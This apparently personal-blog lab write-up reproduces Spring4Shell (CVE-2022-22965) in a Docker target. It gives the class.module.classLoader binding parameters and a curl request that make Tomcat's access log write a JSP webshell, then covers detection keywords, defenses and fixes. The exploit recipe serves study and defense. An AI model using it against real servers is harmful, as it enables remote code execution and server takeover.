Spring4Shell 复现（CVE-2022-22965）

Sat, 29 Aug 2026 18:00:00 +0800

写在前面：合法学习边界

本文复现只在本机靶场进行。Spring4Shell 可直接控制服务器，禁止对真实系统使用。

一、漏洞原理

Spring4Shell（CVE-2022-22965）是 Spring Framework 核心的 RCE 漏洞，利用的是 Spring MVC/WebFlux 的数据绑定机制。

原理链路：

1
2
3
4


1. 请求参数通过数据绑定写入 POJO 属性
2. 绑定器（BeanWrapper）允许访问 class.module.classLoader 等敏感属性（JDK9+）
3. 攻击者借此修改 Tomcat 的 AccessLogValve 配置
4. 让 Tomcat 把请求写入 JSP 文件 → 访问即执行 → RCE

影响版本与条件：

1
2
3


Spring Framework 5.3.0 – 5.3.17
Spring Framework 5.2.0 – 5.2.19
要求：JDK 9+、Spring MVC/WebFlux、部署在 Tomcat

二、影响与危害

1
2
3


远程代码执行（RCE）
服务器被完全控制
写 WebShell、反弹 Shell、内网横向

风险等级：严重。和 Log4Shell 并列的 2022 年高危漏洞。

三、利用 / 复现

环境准备

1
2


# Spring4Shell 靶场（Tomcat + JDK8 不行，需 JDK9+）
docker run -d -p 8080:8080 --name s4s vulhub/spring-4shell:jdk9

手工验证（关键参数）

构造一组数据绑定参数，把 Tomcat AccessLogValve 的日志写到可执行目录：

1
2
3
4
5


class.module.classLoader.resources.context.parent.pipeline.first.pattern=<JSP内容>
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=/usr/local/tomcat/webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

再用 curl 发一个带 cmd 的请求，让日志把命令写入 JSP：

1
2


curl -X POST http://127.0.0.1:8080/xxxx?cmd=id \
 --data-urlencode 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=...' ...

访问生成的 shell.jsp 即可执行命令。

常用工具

1

python3 spring4shell.py（自动打）

复现操作步骤

1
2
3
4


第 1 步：确认环境（Spring MVC + JDK9+ + Tomcat）
第 2 步：构造 class.module.classLoader... 参数 POST 到绑定点
第 3 步：发送带 cmd 的请求，让 AccessLogValve 写入 JSP
第 4 步：访问生成的 shell.jsp —— 命令回显即 RCE

四、检测

1
2
3
4


日志/流量中找 class.module.classLoader 关键字
AccessLogValve 相关参数（pipeline.first.pattern/suffix）
web 目录出现非业务 .jsp 文件
Spring 版本指纹 + JDK 版本确认

五、防御

1
2
3
4


升级 Spring Framework 到 5.3.18+ / 5.2.20+
禁用危险属性绑定（禁止 class.* 前缀）
WAF 拦截 class.module 关键字
Web 目录禁止写入

六、修复

1
2
3
4


立即升级 Spring 依赖
或配置 DataBinder 设置 allowed/disallowedFields 黑名单 class.*
清理已写入的 WebShell
修复后复测：class.module 参数被拒、不再生成文件

七、小结

Spring4Shell 的根因是数据绑定过度暴露了类内部属性。它和 Fastjson/Log4j 一样属于“组件默认行为导致 RCE”，防御核心是升级 + 禁用危险绑定 + WAF 拦截关键字。

Spring4Shell on SoulJian小站